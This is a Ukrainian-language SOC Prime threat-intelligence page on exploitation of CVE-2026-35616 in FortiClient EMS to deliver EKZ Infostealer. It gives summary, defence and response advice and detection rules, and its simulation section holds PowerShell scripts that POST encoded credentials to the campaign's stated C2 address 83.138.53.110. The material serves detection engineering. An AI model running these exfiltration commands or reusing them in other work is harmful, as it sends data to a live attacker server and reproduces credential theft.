SOC Prime Bias: Критичний

29 May 2026 07:30 UTC

FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet

Author Photo
SOC Prime Team linkedin icon Стежити
FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Arctic Wolf виявили кампанію, яка експлуатувала CVE-2026-35616 у FortiClient EMS для розповсюдження шкідливого сценарію PowerShell на керовані кінцеві точки. Цей сценарій отримував і запускав шкідливу програму, відому як EKZ Infostealer, під виглядом легітимного патчу Fortinet. Зловмисне програмне забезпечення збирало паролі браузера, кукі та інформацію автозаповнення, після чого перехоплені дані передавалися через HTTP. Зловживаючи довіреними конфігураційними каналами EMS, зловмисники могли швидко виконати шкідливий код між кількома керованими пристроями.

Розслідування

Дослідники відтворили експлойт, надсилаючи спеціально сформовані неаутентифіковані HTTP-запити до API FortiClient EMS, що призводило до змін конфігурації, які вставляли зловмисні скрипти. Траси виконання показали fortitray.exe or ipsec.exe викликаючи cmd.exe, який, у свою чергу, запускав закодовану у Base64 команду PowerShell, що завантажувала p.exe з шкідливої IP-адреси. Завантажений файл записував log.txt файл у ProgramData, відправляв зібрані дані назад на той самий сервер, а потім самовидалявся.

Захист

Організаціям слід оновити FortiClient EMS до версії, яка виправляє CVE-2026-35616 та обмежити доступ до API з дозволених IP адрес. Захисники також повинні перевірити логи EMS на наявність помилок, пов’язаних з сертифікатами, та на несподівані зміни у профілях віддаленого доступу. Вихідний HTTP-трафік з кінцевих точок до невідомих IP-адрес слід блокувати, а виконання сценаріїв у робочих процесах профілів VPN обмежити за допомогою контролю найменших привілеїв.

Відповідь

Якщо виявлено цю активність, негайно ізолюйте уражені хости, скасуйте будь-які несанкціоновані облікові записи EMS, які могли бути створені, та видаліть зловмисні сценарії з каталогу журналів FortiClient. Розслідувачі повинні зберегти log.txt артефакт, розрахувати хеші для зловмисних бінарників і шукати збіги індикаторів у середовищі. Потрібно скинути викриті облікові дані веб-браузера, а команди повинні стежити за підозрілою діяльністю автентифікації, яка може виникнути після крадіжки.

Потік атаки

Виявлення

Коротке ім’я файлу (через cmdline)

Команда SOC Prime
28 травня 2026

Підозріла робота CURL (через cmdline)

Команда SOC Prime
28 травня 2026

Виклик підозрілих методів .NET з Powershell (через powershell)

Команда SOC Prime
28 травня 2026

Можлива активність передачі даних Bits (через powershell)

Команда SOC Prime
28 травня 2026

IOCs (HashSha256) для виявлення: FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet

Правила ІІ SOC Prime
28 травня 2026

IOCs (HashSha1) для виявлення: FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet

Правила ІІ SOC Prime
28 травня 2026

IOCs (HashMd5) для виявлення: FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet

Правила ІІ SOC Prime
28 травня 2026

IOCs (SourceIP) для виявлення: FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet

Правила ІІ SOC Prime
28 травня 2026

IOCs (DestinationIP) для виявлення: FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer під виглядом патчу Fortinet

Правила ІІ SOC Prime
28 травня 2026

Витік облікових даних EKZ Infostealer через HTTP POST [Підключення до мережі Windows]

Правила ІІ SOC Prime
28 травня 2026

FortiClient EMS експлуатовано через CVE-2026-35616 для доставки EKZ Infostealer [Створення процесу Windows]

Правила ІІ SOC Prime
28 травня 2026

Виконання PowerShell через FortiClient для доставки EKZ Infostealer [Powershell Windows]

Правила ІІ SOC Prime
28 травня 2026

Виконання симуляції

Передумова: Телеметрія і базовий передпольотний контроль мають пройти успішно.

Аргументація: Цей розділ детально описує точне виконання техніки супротивника (TTP), призначеної для запуску правила виявлення. Команди і наратив ПОВИННІ безпосередньо відображати визначені TTPs і спрямовані на генерування саме тієї телеметрії, яку очікує логіка виявлення. Абстрактні або нерелевантні приклади призведуть до неправильної діагностики.

  • Опис атаки та команди:
    Атакуючий зібрав облікові дані з реєстру Windows (сімейство T1216) за допомогою EKZ Infostealer. Для передачі зібраного блобу шкідливе ПЗ запускає однолайновий PowerShell, який відправляє Base64-кодовані облікові дані на сервер командування та контролю за адресою 83.138.53.110. Використання PowerShell (Invoke-WebRequest) – це класична техніка “живучи з правдою”, яка обходить засновані на бінарних виявлення, водночас роджуючи мережеву телеметрію, що спостерігається брандмауером.

    powershell
    # Симуляція облікового навантаження (Base64 від "user:pass")
    $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!"))
    $uri = "http://83.138.53.110/collect"
    Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded"
    
  • Скрипт тесту регресії: Цей самостійний PowerShell сценарій відтворює крок ексфільтрації і може бути перезапущений для майбутньої регресії.

    powershell
    <#
    .SYNOPSIS
        Симуляція ексфільтрації облікових даних EKZ Infostealer (HTTP POST).
    
    .DESCRIPTION
        Генерує фальшивий обліковий блоб, кодує його та відправляє
        на відому шкідливу IP, що використовується у правилі виявлення.
    
    .NOTES
        Вимагає дозволеного вихідного HTTP до 83.138.53.110 на порту 80.
    #>
    
    # ---- Підготовка ----
    $creds   = "admin_user:SuperSecret!"
    $b64     = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds))
    $target  = "http://83.138.53.110/collect"
    
    # ---- Виконання ----
    try {
        Write-Host "[*] Відправлення блоба облікових даних на $target ..."
        $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing
        Write-Host "[+] HTTP Статус:" $resp.StatusCode
    } catch {
        Write-Error "[-] POST не вдався: $_"
    }
    
    # ---- Кінець сценарію ----
    
  • Команди очистки: Жодні постійні артефакти не створюються на диску, але для повноти ми закриваємо будь-які активні сесії веб-запитів і очищаємо змінні PowerShell.

    powershell
    # Очистка змінних та закриття будь-яких відкритих веб-сесій
    Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue
    if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) {
        Remove-WebRequestSession -All
    }
    Write-Host "[*] Очистка завершена."